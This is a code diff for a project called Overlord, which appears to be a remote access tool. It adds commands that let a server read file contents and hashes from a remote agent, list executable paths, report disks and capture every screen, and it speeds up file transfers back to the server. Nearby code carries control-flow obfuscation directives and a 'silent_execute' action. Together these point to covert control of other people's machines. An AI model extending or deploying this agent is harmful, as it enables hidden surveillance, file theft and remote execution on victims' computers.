diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go
index db12325..3549665 100644
--- a/Overlord-Client/cmd/agent/capture/capture.go
+++ b/Overlord-Client/cmd/agent/capture/capture.go
@@ -42,7 +42,7 @@ func Loop(ctx context.Context, env *rt.Env) {
restore := BypassResolutionCap()
defer restore()
var err error
- if goruntime.GOOS == "windows" && activeDisplays() > 1 {
+ if goruntime.GOOS == "windows" {
err = captureAllDisplaysAndSend(ctx, env)
} else {
err = CaptureAndSend(ctx, env)
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index f25c78a..3b25e97 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -2124,6 +2124,29 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
}
})
return nil
+ case "file_peek":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ path, _ := payload["path"].(string)
+ bytesToRead := 0
+ if v, ok := payloadInt(payload, "bytes"); ok {
+ bytesToRead = v
+ }
+ goSafe("file_peek", env.Cancel, func() {
+ if err := HandleFilePeek(ctx, env, cmdID, path, bytesToRead); err != nil && err != context.Canceled {
+ log.Printf("file_peek error: %v", err)
+ }
+ })
+ return nil
+ case "file_hash":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ path, _ := payload["path"].(string)
+ algorithm, _ := payload["algorithm"].(string)
+ goSafe("file_hash", env.Cancel, func() {
+ if err := HandleFileHash(ctx, env, cmdID, path, algorithm); err != nil && err != context.Canceled {
+ log.Printf("file_hash error: %v", err)
+ }
+ })
+ return nil
case "agent_update":
payload, _ := envelope["payload"].(map[string]interface{})
path, _ := payload["path"].(string)
@@ -2132,6 +2155,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow)
case "process_list":
return HandleProcessList(ctx, env, cmdID)
+ case "process_icon":
+ payload, _ := envelope["payload"].(map[string]interface{})
+ items := parseIconRequestItems(payload["items"])
+ goSafe("process_icon", env.Cancel, func() {
+ if err := HandleProcessIcon(ctx, env, cmdID, items); err != nil && err != context.Canceled {
+ log.Printf("process_icon error: %v", err)
+ }
+ })
+ return nil
case "process_kill":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
diff --git a/Overlord-Client/cmd/agent/handlers/files.go b/Overlord-Client/cmd/agent/handlers/files.go
index de68a98..1dfe7bb 100644
--- a/Overlord-Client/cmd/agent/handlers/files.go
+++ b/Overlord-Client/cmd/agent/handlers/files.go
@@ -5,9 +5,15 @@ import (
"bufio"
"bytes"
"context"
+ "crypto/md5"
+ "crypto/sha1"
+ "crypto/sha256"
"crypto/tls"
"crypto/x509"
+ "encoding/hex"
"fmt"
+ "hash"
+ "hash/crc32"
"io"
"log"
"net/http"
@@ -25,7 +31,7 @@ import (
"overlord-client/cmd/agent/wire"
)
-const maxChunkSize = 1024 * 1024
+const maxChunkSize = 4 * 1024 * 1024
type pendingUpload struct {
file *os.File
@@ -134,14 +140,19 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
for drive := 'A'; drive <= 'Z'; drive++ {
drivePath := string(drive) + ":\\"
if _, err := os.Stat(drivePath); err == nil {
-
- entries = append(entries, wire.FileEntry{
+ entry := wire.FileEntry{
Name: string(drive) + ":",
Path: drivePath,
IsDir: true,
Size: 0,
ModTime: time.Now().Unix(),
- })
+ }
+ if free, total, fs, ok := DiskUsage(drivePath); ok {
+ entry.FreeBytes = free
+ entry.TotalBytes = total
+ entry.FSType = fs
+ }
+ entries = append(entries, entry)
}
}
@@ -156,6 +167,165 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
return wire.WriteMsg(ctx, env.Conn, result)
}
+const filePeekMaxBytes = 4096
+
+func HandleFilePeek(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, requestedBytes int) error {
+ log.Printf("file_peek: %s", path)
+
+ if requestedBytes <= 0 || requestedBytes > filePeekMaxBytes {
+ requestedBytes = filePeekMaxBytes
+ }
+
+ info, err := os.Stat(path)
+ if err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
+ Type: "file_peek_result",
+ CommandID: cmdID,
+ Path: path,
+ Error: err.Error(),
+ })
+ }
+
+ if info.IsDir() {
+ return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
+ Type: "file_peek_result",
+ CommandID: cmdID,
+ Path: path,
+ Size: info.Size(),
+ Error: "path is a directory",
+ })
+ }
+
+ f, err := os.Open(path)
+ if err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
+ Type: "file_peek_result",
+ CommandID: cmdID,
+ Path: path,
+ Size: info.Size(),
+ Error: err.Error(),
+ })
+ }
+ defer f.Close()
+
+ buf := make([]byte, requestedBytes)
+ n, err := io.ReadFull(f, buf)
+ if err != nil && err != io.EOF && err != io.ErrUnexpectedEOF {
+ return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
+ Type: "file_peek_result",
+ CommandID: cmdID,
+ Path: path,
+ Size: info.Size(),
+ Error: err.Error(),
+ })
+ }
+ data := buf[:n]
+
+ return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
+ Type: "file_peek_result",
+ CommandID: cmdID,
+ Path: path,
+ Data: data,
+ Size: info.Size(),
+ IsText: looksLikeText(data),
+ })
+}
+
+func looksLikeText(data []byte) bool {
+ if len(data) == 0 {
+ return true
+ }
+ if !utf8.Valid(data) {
+ return false
+ }
+ for _, b := range data {
+ if b == 0 {
+ return false
+ }
+ }
+ return true
+}
+
+func HandleFileHash(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, algorithm string) error {
+ log.Printf("file_hash: %s algo=%s", path, algorithm)
+
+ algorithm = strings.ToLower(strings.TrimSpace(algorithm))
+ if algorithm == "" {
+ algorithm = "sha256"
+ }
+
+ var h hash.Hash
+ switch algorithm {
+ case "sha256":
+ h = sha256.New()
+ case "sha1":
+ h = sha1.New()
+ case "md5":
+ h = md5.New()
+ case "crc32":
+ h = crc32.NewIEEE()
+ default:
+ return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
+ Type: "file_hash_result",
+ CommandID: cmdID,
+ Path: path,
+ Algorithm: algorithm,
+ Error: "unsupported algorithm",
+ })
+ }
+
+ info, err := os.Stat(path)
+ if err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
+ Type: "file_hash_result",
+ CommandID: cmdID,
+ Path: path,
+ Algorithm: algorithm,
+ Error: err.Error(),
+ })
+ }
+ if info.IsDir() {
+ return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
+ Type: "file_hash_result",
+ CommandID: cmdID,
+ Path: path,
+ Algorithm: algorithm,
+ Error: "path is a directory",
+ })
+ }
+
+ f, err := os.Open(path)
+ if err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
+ Type: "file_hash_result",
+ CommandID: cmdID,
+ Path: path,
+ Algorithm: algorithm,
+ Error: err.Error(),
+ })
+ }
+ defer f.Close()
+
+ if _, err := io.Copy(h, f); err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
+ Type: "file_hash_result",
+ CommandID: cmdID,
+ Path: path,
+ Algorithm: algorithm,
+ Error: err.Error(),
+ })
+ }
+
+ return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
+ Type: "file_hash_result",
+ CommandID: cmdID,
+ Path: path,
+ Algorithm: algorithm,
+ Digest: hex.EncodeToString(h.Sum(nil)),
+ Size: info.Size(),
+ })
+}
+
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("file_download: %s", path)
@@ -170,10 +340,10 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
}
return wire.WriteMsg(ctx, env.Conn, result)
}
- defer file.Close()
stat, err := file.Stat()
if err != nil {
+ _ = file.Close()
result := wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
@@ -184,55 +354,84 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
}
total := stat.Size()
- offset := int64(0)
- buffer := make([]byte, maxChunkSize)
chunksTotal := 0
if total > 0 {
chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize))
}
- chunkIndex := 0
- reader := bufio.NewReader(file)
- for {
- n, err := io.ReadFull(reader, buffer)
- if err == io.EOF {
- break
+ type readChunk struct {
+ data []byte
+ off int64
+ idx int
+ err error
+ }
+
+ readCtx, cancelReader := context.WithCancel(ctx)
+ pipe := make(chan readChunk, 2)
+ done := make(chan struct{})
+
+ go func() {
+ defer close(done)
+ defer close(pipe)
+ defer file.Close()
+ offset := int64(0)
+ idx := 0
+ for {
+ buf := make([]byte, maxChunkSize)
+ n, rerr := io.ReadFull(file, buf)
+ if n > 0 {
+ select {
+ case <-readCtx.Done():
+ return
+ case pipe <- readChunk{data: buf[:n], off: offset, idx: idx}:
+ }
+ offset += int64(n)
+ idx++
+ }
+ if rerr == nil {
+ continue
+ }
+ if rerr == io.EOF || rerr == io.ErrUnexpectedEOF {
+ return
+ }
+ select {
+ case <-readCtx.Done():
+ case pipe <- readChunk{err: rerr, off: offset, idx: idx}:
+ }
+ return
}
- if err != nil && err != io.ErrUnexpectedEOF {
- result := wire.FileDownload{
+ }()
+
+ defer func() {
+ cancelReader()
+ <-done
+ }()
+
+ for chunk := range pipe {
+ if chunk.err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.FileDownload{
Type: "file_download",
CommandID: cmdID,
Path: path,
- Error: err.Error(),
- Offset: offset,
+ Error: chunk.err.Error(),
+ Offset: chunk.off,
Total: total,
- ChunkIndex: chunkIndex,
+ ChunkIndex: chunk.idx,
ChunksTotal: chunksTotal,
- }
- return wire.WriteMsg(ctx, env.Conn, result)
+ })
}
-
- if n > 0 {
- chunk := wire.FileDownload{
- Type: "file_download",
- CommandID: cmdID,
- Path: path,
- Data: buffer[:n],
- Offset: offset,
- Total: total,
- ChunkIndex: chunkIndex,
- ChunksTotal: chunksTotal,
- }
-
- if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil {
- return err
- }
- offset += int64(n)
- chunkIndex++
+ msg := wire.FileDownload{
+ Type: "file_download",
+ CommandID: cmdID,
+ Path: path,
+ Data: chunk.data,
+ Offset: chunk.off,
+ Total: total,
+ ChunkIndex: chunk.idx,
+ ChunksTotal: chunksTotal,
}
-
- if err == io.ErrUnexpectedEOF {
- break
+ if err := wire.WriteMsg(ctx, env.Conn, msg); err != nil {
+ return err
}
}
diff --git a/Overlord-Client/cmd/agent/handlers/files_extras_windows_amd64.go b/Overlord-Client/cmd/agent/handlers/files_extras_windows_wide.go
similarity index 100%
rename from Overlord-Client/cmd/agent/handlers/files_extras_windows_amd64.go
rename to Overlord-Client/cmd/agent/handlers/files_extras_windows_wide.go
diff --git a/Overlord-Client/cmd/agent/handlers/files_unix.go b/Overlord-Client/cmd/agent/handlers/files_unix.go
index fabd010..d401677 100644
--- a/Overlord-Client/cmd/agent/handlers/files_unix.go
+++ b/Overlord-Client/cmd/agent/handlers/files_unix.go
@@ -37,6 +37,17 @@ func getFilePermissions(info os.FileInfo) (mode, owner, group string) {
return
}
+func DiskUsage(path string) (int64, int64, string, bool) {
+ var st syscall.Statfs_t
+ if err := syscall.Statfs(path, &st); err != nil {
+ return 0, 0, "", false
+ }
+ bsize := int64(st.Bsize)
+ free := int64(st.Bavail) * bsize
+ total := int64(st.Blocks) * bsize
+ return free, total, "", true
+}
+
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
mode, owner, group := getFilePermissions(info)
entry.Mode = mode
diff --git a/Overlord-Client/cmd/agent/handlers/files_windows.go b/Overlord-Client/cmd/agent/handlers/files_windows.go
index 9161eef..63d8ba2 100644
--- a/Overlord-Client/cmd/agent/handlers/files_windows.go
+++ b/Overlord-Client/cmd/agent/handlers/files_windows.go
@@ -8,10 +8,46 @@ import (
"os"
"os/exec"
"syscall"
+ "unsafe"
"overlord-client/cmd/agent/wire"
)
+func DiskUsage(path string) (int64, int64, string, bool) {
+ kernel32 := syscall.NewLazyDLL("kernel32.dll")
+ getDiskFreeSpaceExW := kernel32.NewProc("GetDiskFreeSpaceExW")
+ getVolumeInformationW := kernel32.NewProc("GetVolumeInformationW")
+
+ root, err := syscall.UTF16PtrFromString(path)
+ if err != nil {
+ return 0, 0, "", false
+ }
+ var freeAvail, totalBytes, totalFree uint64
+ r1, _, _ := getDiskFreeSpaceExW.Call(
+ uintptr(unsafe.Pointer(root)),
+ uintptr(unsafe.Pointer(&freeAvail)),
+ uintptr(unsafe.Pointer(&totalBytes)),
+ uintptr(unsafe.Pointer(&totalFree)),
+ )
+ if r1 == 0 {
+ return 0, 0, "", false
+ }
+
+ fsType := ""
+ var fsNameBuf [32]uint16
+ r2, _, _ := getVolumeInformationW.Call(
+ uintptr(unsafe.Pointer(root)),
+ 0, 0, 0, 0, 0,
+ uintptr(unsafe.Pointer(&fsNameBuf[0])),
+ uintptr(len(fsNameBuf)),
+ )
+ if r2 != 0 {
+ fsType = syscall.UTF16ToString(fsNameBuf[:])
+ }
+
+ return int64(freeAvail), int64(totalBytes), fsType, true
+}
+
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
if d, ok := info.Sys().(*syscall.Win32FileAttributeData); ok {
entry.Attrs = d.FileAttributes
diff --git a/Overlord-Client/cmd/agent/handlers/processes.go b/Overlord-Client/cmd/agent/handlers/processes.go
index 9abb38a..6ad77ea 100644
--- a/Overlord-Client/cmd/agent/handlers/processes.go
+++ b/Overlord-Client/cmd/agent/handlers/processes.go
@@ -4,11 +4,11 @@ import (
"context"
"log"
- "overlord-client/cmd/agent/runtime"
+ agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
-func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) error {
+func HandleProcessList(ctx context.Context, env *agentRuntime.Env, cmdID string) error {
log.Printf("process_list: listing all processes")
processes := []wire.ProcessInfo{}
@@ -32,7 +32,7 @@ func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) erro
return wire.WriteMsg(ctx, env.Conn, result)
}
-func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
+func HandleProcessKill(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
log.Printf("process_kill: %d", pid)
@@ -52,7 +52,7 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid
return wire.WriteMsg(ctx, env.Conn, result)
}
-func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
+func HandleProcessSuspend(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error {
log.Printf("process_suspend: %d", pid)
err := suspendProcess(pid)
@@ -71,7 +71,7 @@ func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, p
return wire.WriteMsg(ctx, env.Conn, result)
}
-func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
+func HandleProcessResume(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error {
log.Printf("process_resume: %d", pid)
err := resumeProcess(pid)
@@ -89,3 +89,27 @@ func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pi
}
return wire.WriteMsg(ctx, env.Conn, result)
}
+
+func HandleProcessIcon(ctx context.Context, env *agentRuntime.Env, cmdID string, items []wire.FileIconRequestItem) error {
+ out := make([]wire.FileIconResultItem, 0, len(items))
+ for _, item := range items {
+ select {
+ case <-ctx.Done():
+ return ctx.Err()
+ default:
+ }
+ png, err := extractFileIconPNG(item.Path, item.Ext)
+ ri := wire.FileIconResultItem{Key: item.Key}
+ if err != nil {
+ ri.Error = err.Error()
+ } else {
+ ri.PNG = png
+ }
+ out = append(out, ri)
+ }
+ return wire.WriteMsg(ctx, env.Conn, wire.FileIconResult{
+ Type: "process_icon_result",
+ CommandID: cmdID,
+ Icons: out,
+ })
+}
diff --git a/Overlord-Client/cmd/agent/handlers/processes_windows.go b/Overlord-Client/cmd/agent/handlers/processes_windows.go
index 604db2d..b7c282d 100644
--- a/Overlord-Client/cmd/agent/handlers/processes_windows.go
+++ b/Overlord-Client/cmd/agent/handlers/processes_windows.go
@@ -22,11 +22,12 @@ var (
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
modPsapi = windows.NewLazySystemDLL("psapi.dll")
modNtdll = windows.NewLazySystemDLL("ntdll.dll")
- procEnumProcesses = modPsapi.NewProc("EnumProcesses")
- procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
- procOpenProcess = modKernel32.NewProc("OpenProcess")
- procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
- procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
+ procEnumProcesses = modPsapi.NewProc("EnumProcesses")
+ procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
+ procOpenProcess = modKernel32.NewProc("OpenProcess")
+ procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
+ procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
+ procQueryFullProcessImageNameW = modKernel32.NewProc("QueryFullProcessImageNameW")
)
type cpuSample struct {
@@ -131,6 +132,18 @@ func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo {
}
}
+ exePath := ""
+ var dosPath [windows.MAX_PATH]uint16
+ dosPathLen := uint32(windows.MAX_PATH)
+ ret2, _, _ := procQueryFullProcessImageNameW.Call(
+ handle, 0,
+ uintptr(unsafe.Pointer(&dosPath[0])),
+ uintptr(unsafe.Pointer(&dosPathLen)),
+ )
+ if ret2 != 0 && dosPathLen > 0 {
+ exePath = syscall.UTF16ToString(dosPath[:dosPathLen])
+ }
+
var memCounters PROCESS_MEMORY_COUNTERS
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
memory := uint64(0)
@@ -224,6 +237,7 @@ func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo {
PID: pid,
PPID: ppid,
Name: name,
+ ExePath: exePath,
CPU: cpu,
Memory: memory,
Username: username,
diff --git a/Overlord-Client/cmd/agent/handlers/screenshot.go b/Overlord-Client/cmd/agent/handlers/screenshot.go
index 586377d..05c8c40 100644
--- a/Overlord-Client/cmd/agent/handlers/screenshot.go
+++ b/Overlord-Client/cmd/agent/handlers/screenshot.go
@@ -214,11 +214,15 @@ func captureScreenshotImageWindows(allDisplays bool) (*image.RGBA, int, image.Re
sp := make([]scaledPart, len(parts))
for i, part := range parts {
sx, sy := 1.0, 1.0
- if bw := part.bounds.Dx(); bw > 0 {
- sx = float64(part.img.Rect.Dx()) / float64(bw)
+ bw := part.bounds.Dx()
+ bh := part.bounds.Dy()
+ iw := part.img.Rect.Dx()
+ ih := part.img.Rect.Dy()
+ if bw > 0 && iw > 0 {
+ sx = float64(iw) / float64(bw)
}
- if bh := part.bounds.Dy(); bh > 0 {
- sy = float64(part.img.Rect.Dy()) / float64(bh)
+ if bh > 0 && ih > 0 {
+ sy = float64(ih) / float64(bh)
}
sp[i] = scaledPart{
img: part.img,
diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go
index f301ce9..9c7ecc8 100644
--- a/Overlord-Client/cmd/agent/wire/protocol.go
+++ b/Overlord-Client/cmd/agent/wire/protocol.go
@@ -112,6 +112,10 @@ type FileEntry struct {
Group string `msgpack:"group,omitempty"`
// windows file attributes
Attrs uint32 `msgpack:"attrs,omitempty"`
+ // Drive / volume disk usage (populated only at root listings for drive entries).
+ FreeBytes int64 `msgpack:"freeBytes,omitempty"`
+ TotalBytes int64 `msgpack:"totalBytes,omitempty"`
+ FSType string `msgpack:"fsType,omitempty"`
}
type FileListResult struct {
@@ -151,6 +155,7 @@ type ProcessInfo struct {
PID int32 `msgpack:"pid"`
PPID int32 `msgpack:"ppid"`
Name string `msgpack:"name"`
+ ExePath string `msgpack:"exePath,omitempty"`
CPU float64 `msgpack:"cpu"`
Memory uint64 `msgpack:"memory"`
Username string `msgpack:"username,omitempty"`
@@ -227,6 +232,26 @@ type FileThumbnailResult struct {
Thumbs []FileThumbnailResultItem `msgpack:"thumbs"`
}
+type FilePeekResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ Path string `msgpack:"path"`
+ Data []byte `msgpack:"data,omitempty"`
+ Size int64 `msgpack:"size"`
+ IsText bool `msgpack:"isText"`
+ Error string `msgpack:"error,omitempty"`
+}
+
+type FileHashResult struct {
+ Type string `msgpack:"type"`
+ CommandID string `msgpack:"commandId,omitempty"`
+ Path string `msgpack:"path"`
+ Algorithm string `msgpack:"algorithm"`
+ Digest string `msgpack:"digest"`
+ Size int64 `msgpack:"size"`
+ Error string `msgpack:"error,omitempty"`
+}
+
type FolderSizeResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
diff --git a/Overlord-Server/public/assets/filebrowser.js b/Overlord-Server/public/assets/filebrowser.js
index 7e9d019..e35228b 100644
--- a/Overlord-Server/public/assets/filebrowser.js
+++ b/Overlord-Server/public/assets/filebrowser.js
@@ -275,6 +275,12 @@ function handleMessage(msg) {
case "file_dirsize_result":
handleFileDirsizeResult(msg);
break;
+ case "file_peek_result":
+ handleFilePeekResult(msg);
+ break;
+ case "file_hash_result":
+ handleFileHashResult(msg);
+ break;
case "command_result":
console.log("[DEBUG] Command result:", msg);
handleCommandResult(msg);
@@ -1243,6 +1249,12 @@ function handleFileList(msg) {
updateSidebarDrives([]);
}
highlightSidebarActive();
+ updatePinnedSidebar();
+
+ // If the previewed item was from another directory, clear it.
+ if (currentPreviewEntry && !directoryEntries.some((e) => e.path === currentPreviewEntry.path)) {
+ clearPreviewPane();
+ }
selectedFiles.clear();
updateSelectionUI();
@@ -1321,11 +1333,20 @@ function createFileRow(entry) {
const size = entry.isDir ? "-" : formatBytes(entry.size);
const modTime = new Date(entry.modTime * 1000).toLocaleString();
+ const pinnedNow = entry.isDir && isPinned(entry.path);
+ const pinTitle = pinnedNow ? "Unpin from sidebar" : "Pin to sidebar";
+ const pinIcon = pinnedNow ? "fa-star" : "fa-star";
+ const pinClass = pinnedNow ? "pin-star-btn pinned" : "pin-star-btn";
+ const pinBtn = entry.isDir
+ ? ``
+ : "";
+
row.innerHTML = `
${icon}
${escapeHtml(entry.name)}
+ ${pinBtn}
${badges}
${size}
@@ -1344,16 +1365,28 @@ function createFileRow(entry) {
nameDiv.appendChild(mobileMetaDiv);
row.onclick = (e) => {
- if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn")) {
+ if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn") || e.target.closest(".pin-star-btn")) {
return;
}
+ // Single-click always updates the preview pane.
+ showPreviewForEntry(entry);
+
+ if (entry.isDir) {
+ listFiles(entry.path);
+ }
+ };
+
+ row.ondblclick = (e) => {
+ if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn") || e.target.closest(".pin-star-btn")) {
+ return;
+ }
if (entry.isDir) {
listFiles(entry.path);
} else if (isPreviewable(entry.name)) {
openFilePreview(entry.path, entry.size);
} else if (KNOWN_BINARY_EXTS.has(getFileExt(entry.name))) {
- notifyToast("Binary file — use Download to save it", "info", 3000);
+ openHexViewer(entry.path);
} else {
openFileInEditor(entry.path);
}
@@ -1383,6 +1416,23 @@ function createFileRow(entry) {
};
});
+ const pinToggleBtn = row.querySelector("[data-pin-toggle]");
+ if (pinToggleBtn) {
+ pinToggleBtn.addEventListener("click", (e) => {
+ e.stopPropagation();
+ const target = pinToggleBtn.dataset.pinToggle;
+ if (isPinned(target)) {
+ unpinPath(target);
+ pinToggleBtn.classList.remove("pinned");
+ pinToggleBtn.title = "Pin to sidebar";
+ } else {
+ pinPath(target, entry.name);
+ pinToggleBtn.classList.add("pinned");
+ pinToggleBtn.title = "Unpin from sidebar";
+ }
+ });
+ }
+
row.oncontextmenu = (e) => {
e.preventDefault();
showContextMenu(e.clientX, e.clientY, entry);
@@ -1484,6 +1534,20 @@ function handleFileAction(action, entry) {
case "dirsize":
requestFolderSize(entry);
break;
+ case "pin":
+ pinPath(entry.path, entry.name);
+ notifyToast("Pinned", "success", 1800);
+ break;
+ case "unpin":
+ unpinPath(entry.path);
+ notifyToast("Unpinned", "info", 1800);
+ break;
+ case "hex_peek":
+ if (!entry.isDir) openHexViewer(entry.path);
+ break;
+ case "hash":
+ if (!entry.isDir) requestFileHash(entry.path, "context");
+ break;
}
}
@@ -1595,41 +1659,104 @@ function downloadFile(path) {
transfer.total = total;
}
- const chunks = [];
let received = 0;
let lastLoggedBytes = 0;
- if (res.body) {
- const reader = res.body.getReader();
- while (true) {
- const { done, value } = await reader.read();
- if (done) break;
- if (value) {
- chunks.push(value);
- received += value.length;
- transfer.received = received;
- if (received - lastLoggedBytes >= 5 * 1024 * 1024) {
- lastLoggedBytes = received;
- console.debug("[filebrowser] download stream", {
- path,
- received,
- total: transfer.total,
- });
- }
- if (transfer.total > 0) {
- transfer.progress = Math.round((received / transfer.total) * 100);
- updateTransferProgress(transferId, transfer.progress, received, transfer.total);
- }
- }
- if (transfer.cancelled) {
- break;
- }
- }
- } else {
- console.warn("[filebrowser] download response missing body", { path });
- const blob = await res.blob();
- chunks.push(new Uint8Array(await blob.arrayBuffer()));
- received = chunks[0]?.length || 0;
+ const trackChunk = (size) => {
+ received += size;
transfer.received = received;
+ if (received - lastLoggedBytes >= 5 * 1024 * 1024) {
+ lastLoggedBytes = received;
+ console.debug("[filebrowser] download stream", {
+ path,
+ received,
+ total: transfer.total,
+ });
+ }
+ if (transfer.total > 0) {
+ transfer.progress = Math.round((received / transfer.total) * 100);
+ updateTransferProgress(transferId, transfer.progress, received, transfer.total);
+ }
+ };
+
+ const canStreamToDisk = typeof window.showSaveFilePicker === "function" && !!res.body;
+ let usedStreamToDisk = false;
+
+ if (canStreamToDisk) {
+ let saveHandle = null;
+ try {
+ saveHandle = await window.showSaveFilePicker({ suggestedName: fileName });
+ } catch (pickerErr) {
+ if (pickerErr && pickerErr.name === "AbortError") {
+ transfer.cancelled = true;
+ try { abortController.abort(); } catch {}
+ removeTransfer(transferId);
+ fileDownloads.delete(path);
+ updateStatus("connected", "Connected");
+ return;
+ }
+ console.warn("[filebrowser] save picker failed, falling back to blob", pickerErr);
+ saveHandle = null;
+ }
+ if (saveHandle) {
+ const writable = await saveHandle.createWritable();
+ const progressTransform = new TransformStream({
+ transform(chunk, controller) {
+ trackChunk(chunk.byteLength);
+ controller.enqueue(chunk);
+ },
+ });
+ try {
+ await res.body.pipeThrough(progressTransform).pipeTo(writable, {
+ signal: abortController.signal,
+ });
+ } catch (pipeErr) {
+ try { await writable.abort(pipeErr); } catch {}
+ throw pipeErr;
+ }
+ usedStreamToDisk = true;
+ }
+ }
+
+ if (!usedStreamToDisk) {
+ const chunks = [];
+ if (res.body) {
+ const reader = res.body.getReader();
+ while (true) {
+ const { done, value } = await reader.read();
+ if (done) break;
+ if (value) {
+ chunks.push(value);
+ trackChunk(value.length);
+ }
+ if (transfer.cancelled) {
+ try { await reader.cancel(); } catch {}
+ break;
+ }
+ }
+ } else {
+ console.warn("[filebrowser] download response missing body", { path });
+ const blob = await res.blob();
+ const buf = new Uint8Array(await blob.arrayBuffer());
+ chunks.push(buf);
+ trackChunk(buf.length);
+ }
+
+ if (transfer.cancelled) {
+ removeTransfer(transferId);
+ fileDownloads.delete(path);
+ updateStatus("connected", "Connected");
+ return;
+ }
+
+ const blob = new Blob(chunks);
+ const url = URL.createObjectURL(blob);
+ const a = document.createElement("a");
+ a.href = url;
+ a.download = fileName;
+ document.body.appendChild(a);
+ a.click();
+ document.body.removeChild(a);
+ URL.revokeObjectURL(url);
}
if (transfer.cancelled) {
@@ -1644,22 +1771,12 @@ function downloadFile(path) {
updateTransferProgress(transferId, transfer.progress, received, transfer.total);
}
- const blob = new Blob(chunks);
- const url = URL.createObjectURL(blob);
- const a = document.createElement("a");
- a.href = url;
- a.download = fileName;
- document.body.appendChild(a);
- a.click();
- document.body.removeChild(a);
- URL.revokeObjectURL(url);
-
console.log("Download complete:", path, `${received} bytes`);
console.debug("[filebrowser] download complete", {
path,
received,
total: transfer.total,
- chunks: chunks.length,
+ streamedToDisk: usedStreamToDisk,
});
removeTransfer(transferId);
fileDownloads.delete(path);
@@ -2058,7 +2175,7 @@ function handleFileUploadResult(msg) {
if (Number.isFinite(msg.received)) {
transfer.receivedBytes = Math.min(Number(msg.received), transfer.total);
- transfer.sent = transfer.receivedBytes;
+ transfer.sent = Math.max(transfer.sent || 0, transfer.receivedBytes);
}
if (transfer.total > 0) {
@@ -2164,6 +2281,10 @@ function showContextMenu(x, y, entry) {
const executeItem = contextMenu.querySelector('[data-action="execute"]');
const silentExecuteItem = contextMenu.querySelector('[data-action="silent_execute"]');
const dirsizeItem = contextMenu.querySelector('[data-action="dirsize"]');
+ const pinItem = contextMenu.querySelector('[data-action="pin"]');
+ const unpinItem = contextMenu.querySelector('[data-action="unpin"]');
+ const hexItem = contextMenu.querySelector('[data-action="hex_peek"]');
+ const hashItem = contextMenu.querySelector('[data-action="hash"]');
if (editItem) editItem.style.display = entry.isDir ? "none" : "block";
if (zipItem) zipItem.style.display = entry.isDir ? "block" : "none";
@@ -2171,6 +2292,12 @@ function showContextMenu(x, y, entry) {
